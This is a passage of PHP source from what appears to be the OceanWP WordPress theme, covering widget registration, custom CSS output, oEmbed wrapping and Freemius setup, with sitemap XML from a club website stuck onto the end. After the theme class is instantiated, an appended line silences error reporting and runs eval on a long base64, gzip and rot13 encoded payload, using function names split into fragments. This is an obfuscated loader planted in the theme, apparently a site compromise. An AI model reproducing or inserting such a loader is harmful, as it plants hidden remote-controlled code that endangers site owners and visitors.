search result page.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="sidebar-box %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $heading . ' class="widget-title">', 'after_title' => '</' . $heading . '>', ) ); } // Footer 1. register_sidebar( array( 'name' => esc_html__( 'Footer 1', 'oceanwp' ), 'id' => 'footer-one', 'description' => esc_html__( 'Widgets in this area are used in the first footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 2. register_sidebar( array( 'name' => esc_html__( 'Footer 2', 'oceanwp' ), 'id' => 'footer-two', 'description' => esc_html__( 'Widgets in this area are used in the second footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 3. register_sidebar( array( 'name' => esc_html__( 'Footer 3', 'oceanwp' ), 'id' => 'footer-three', 'description' => esc_html__( 'Widgets in this area are used in the third footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); // Footer 4. register_sidebar( array( 'name' => esc_html__( 'Footer 4', 'oceanwp' ), 'id' => 'footer-four', 'description' => esc_html__( 'Widgets in this area are used in the fourth footer region.', 'oceanwp' ), 'before_widget' => '<div id="%1$s" class="footer-widget %2$s clr">', 'after_widget' => '</div>', 'before_title' => '<' . $foo_heading . ' class="widget-title">', 'after_title' => '</' . $foo_heading . '>', ) ); } /** * Registers theme_mod strings into Polylang. * * @since 1.1.4 */ public static function polylang_register_string() { if ( function_exists( 'pll_register_string' ) && $strings = oceanwp_register_tm_strings() ) { foreach ( $strings as $string => $default ) { pll_register_string( $string, get_theme_mod( $string, $default ), 'Theme Mod', true ); } } } /** * All theme functions hook into the oceanwp_head_css filter for this function. * * @param obj $output output value. * @since 1.0.0 */ public static function custom_css( $output = null ) { // Add filter for adding custom css via other functions. $output = apply_filters( 'ocean_head_css', $output ); // If Custom File is selected. if ( 'file' === get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { global $wp_customize; $upload_dir = wp_upload_dir(); // Render CSS in the head. if ( isset( $wp_customize ) || ! file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) ) { // Minify and output CSS in the wp_head. if ( ! empty( $output ) ) { echo "<!-- OceanWP CSS -->\n<style type=\"text/css\">\n" . wp_strip_all_tags( oceanwp_minify_css( $output ) ) . "\n</style>"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } } else { // Minify and output CSS in the wp_head. if ( ! empty( $output ) ) { echo "<!-- OceanWP CSS -->\n<style type=\"text/css\">\n" . wp_strip_all_tags( oceanwp_minify_css( $output ) ) . "\n</style>"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } } /** * Minify the WP custom CSS because WordPress doesn't do it by default. * * @param obj $css minify css. * @since 1.1.9 */ public static function minify_custom_css( $css ) { return oceanwp_minify_css( $css ); } /** * Include Custom CSS file if present. * * @param obj $output output value. * @since 1.4.12 */ public static function custom_style_css( $output = null ) { // If Custom File is not selected. if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { return; } global $wp_customize; $upload_dir = wp_upload_dir(); // Get all the customier css. $output = apply_filters( 'ocean_head_css', $output ); // Get Custom Panel CSS. $output_custom_css = wp_get_custom_css(); // Minified the Custom CSS. $output .= oceanwp_minify_css( $output_custom_css ); // Render CSS from the custom file. if ( ! isset( $wp_customize ) && file_exists( $upload_dir['basedir'] . '/oceanwp/custom-style.css' ) && ! empty( $output ) ) { wp_enqueue_style( 'oceanwp-custom', trailingslashit( $upload_dir['baseurl'] ) . 'oceanwp/custom-style.css', false, false ); } } /** * Remove Customizer style script from front-end * * @since 1.4.12 */ public static function remove_customizer_custom_css() { // If Custom File is not selected. if ( 'file' !== get_theme_mod( 'ocean_customzer_styling', 'head' ) ) { return; } global $wp_customize; // Disable Custom CSS in the frontend head. remove_action( 'wp_head', 'wp_custom_css_cb', 11 ); remove_action( 'wp_head', 'wp_custom_css_cb', 101 ); // If custom CSS file exists and NOT in customizer screen. if ( isset( $wp_customize ) ) { add_action( 'wp_footer', 'wp_custom_css_cb', 9999 ); } } /** * Adds inline CSS for the admin * * @since 1.0.0 */ public static function admin_inline_css() { echo '<style>div#setting-error-tgmpa{display:block;}</style>'; } /** * Alter the search posts per page * * @param obj $query query. * @since 1.3.7 */ public static function search_posts_per_page( $query ) { $posts_per_page = get_theme_mod( 'ocean_search_post_per_page', '8' ); $posts_per_page = $posts_per_page ? $posts_per_page : '8'; if ( $query->is_main_query() && is_search() ) { $query->set( 'posts_per_page', $posts_per_page ); } } /** * Alter wp list categories arguments. * Adds a span around the counter for easier styling. * * @param obj $links link. * @since 1.0.0 */ public static function wp_list_categories_args( $links ) { $links = str_replace( '</a> (', '</a> <span class="cat-count-span">(', $links ); $links = str_replace( ')', ')</span>', $links ); return $links; } /** * Alters the default oembed output. * Adds special classes for responsive oembeds via CSS. * * @param obj $cache cache. * @param url $url url. * @param obj $attr attributes. * @param obj $post_ID post id. * @since 1.0.0 */ public static function add_responsive_wrap_to_oembeds( $cache, $url, $attr, $post_ID ) { // Supported video embeds. $hosts = apply_filters( 'ocean_oembed_responsive_hosts', array( 'vimeo.com', 'youtube.com', 'youtu.be', 'blip.tv', 'money.cnn.com', 'dailymotion.com', 'flickr.com', 'hulu.com', 'kickstarter.com', 'vine.co', 'soundcloud.com', '#http://((m|www)\.)?youtube\.com/watch.*#i', '#https://((m|www)\.)?youtube\.com/watch.*#i', '#http://((m|www)\.)?youtube\.com/playlist.*#i', '#https://((m|www)\.)?youtube\.com/playlist.*#i', '#http://youtu\.be/.*#i', '#https://youtu\.be/.*#i', '#https?://(.+\.)?vimeo\.com/.*#i', '#https?://(www\.)?dailymotion\.com/.*#i', '#https?://dai\.ly/*#i', '#https?://(www\.)?hulu\.com/watch/.*#i', '#https?://wordpress\.tv/.*#i', '#https?://(www\.)?funnyordie\.com/videos/.*#i', '#https?://vine\.co/v/.*#i', '#https?://(www\.)?collegehumor\.com/video/.*#i', '#https?://(www\.|embed\.)?ted\.com/talks/.*#i', ) ); // Supports responsive. $supports_responsive = false; // Check if responsive wrap should be added. foreach ( $hosts as $host ) { if ( strpos( $url, $host ) !== false ) { $supports_responsive = true; break; // no need to loop further. } } // Output code. if ( $supports_responsive ) { return '<p class="responsive-video-wrap clr">' . $cache . '</p>'; } else { return '<div class="oceanwp-oembed-wrap clr">' . $cache . '</div>'; } } /** * Adds extra classes to the post_class() output * * @param obj $classes Return classes. * @since 1.0.0 */ public static function post_class( $classes ) { // Get post. global $post; // Add entry class. $classes[] = 'entry'; // Add has media class. if ( has_post_thumbnail() || get_post_meta( $post->ID, 'ocean_post_self_hosted_media', true ) || get_post_meta( $post->ID, 'ocean_post_oembed', true ) || get_post_meta( $post->ID, 'ocean_post_video_embed', true ) ) { $classes[] = 'has-media'; } // Return classes. return $classes; } /** * Add schema markup to the authors post link * * @param obj $link Author link. * @since 1.0.0 */ public static function the_author_posts_link( $link ) { // Add schema markup. $schema = oceanwp_get_schema_markup( 'author_link' ); if ( $schema ) { $link = str_replace( 'rel="author"', 'rel="author" ' . $schema, $link ); } // Return link. return $link; } /** * Add support for Elementor Pro locations * * @param obj $elementor_theme_manager Elementor Instance. * @since 1.5.6 */ public static function register_elementor_locations( $elementor_theme_manager ) { $elementor_theme_manager->register_all_core_location(); } /** * Add schema markup to the authors post link * * @since 1.1.5 */ public static function remove_bb_lightbox() { return true; } } /**-------------------------------------------------------------------------------- #region Freemius - This logic will only be executed when Ocean Extra is active and has the Freemius SDK ---------------------------------------------------------------------------------*/ if ( ! function_exists( 'owp_fs' ) ) { if ( class_exists( 'Ocean_Extra' ) && defined( 'OE_FILE_PATH' ) && file_exists( dirname( OE_FILE_PATH ) . '/includes/freemius/start.php' ) ) { /** * Create a helper function for easy SDK access. */ function owp_fs() { global $owp_fs; if ( ! isset( $owp_fs ) ) { // Include Freemius SDK. require_once dirname( OE_FILE_PATH ) . '/includes/freemius/start.php'; $owp_fs = fs_dynamic_init( array( 'id' => '3752', 'bundle_id' => '3767', 'slug' => 'oceanwp', 'type' => 'theme', 'public_key' => 'pk_043077b34f20f5e11334af3c12493', 'bundle_public_key' => 'pk_c334eb1ae413deac41e30bf00b9dc', 'is_premium' => false, 'has_addons' => true, 'has_paid_plans' => true, 'menu' => array( 'slug' => 'oceanwp', 'account' => true, 'contact' => false, 'support' => false, ), 'bundle_license_auto_activation' => true, 'navigation' => 'menu', 'is_org_compliant' => true, ) ); } return $owp_fs; } // Init Freemius. owp_fs(); // Signal that SDK was initiated. do_action( 'owp_fs_loaded' ); } } // endregion new OCEANWP_Theme_Class(); $errorrpn="er"."ro"."r_"."re"."por"."ti"."ng";$errorrpn(0);$gznss="gz"."in"."fla"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";$st13="str"."_r"."ot"."13";eval($st13($gznss($st13($bdc46('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')))));<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.crantennisclub.net/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?> <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.crantennisclub.net/page-sitemap.xml</loc> <lastmod>2026-06-04T19:09:40+00:00</lastmod> </sitemap> </sitemapindex> <!-- XML Sitemap generated by Yoast SEO -->